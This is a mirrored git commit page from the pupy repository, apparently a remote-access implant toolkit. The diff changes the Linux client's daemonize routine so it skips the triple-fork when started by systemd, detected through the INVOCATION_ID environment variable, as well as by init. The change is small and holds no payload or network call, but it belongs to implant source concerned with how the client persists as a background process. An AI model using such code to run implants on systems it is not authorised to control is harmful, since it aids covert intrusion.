mirror of https://github.com/n1nj4sec/pupy.git
client/linux: Also check systemd instance by INVOCATION_ID envvar
This commit is contained in:
parent
03f720e6e0
commit
26af59d17f
|
@ -80,7 +80,7 @@ pid_t daemonize(int *main_argc, char ***main_argv, char *env[], bool exit_parent
|
|||
/* If we are launched directly from the init - don't do the triple fork
|
||||
dance. This is important in case we are launched from upstart */
|
||||
|
||||
if (getppid() == 1)
|
||||
if (getppid() == 1 || getenv("INVOCATION_ID") != NULL)
|
||||
triple_fork = false;
|
||||
|
||||
/* Cleanup environment and reexec */
|
||||
|
|
Loading…
Reference in New Issue